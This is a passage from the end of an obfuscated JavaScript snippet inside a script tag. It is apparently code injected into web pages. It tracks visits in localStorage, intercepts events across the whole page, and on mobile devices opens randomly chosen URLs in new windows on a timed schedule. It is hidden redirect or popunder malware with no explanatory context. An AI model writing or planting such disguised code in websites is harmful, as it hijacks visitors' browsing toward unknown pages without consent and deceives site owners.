_0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>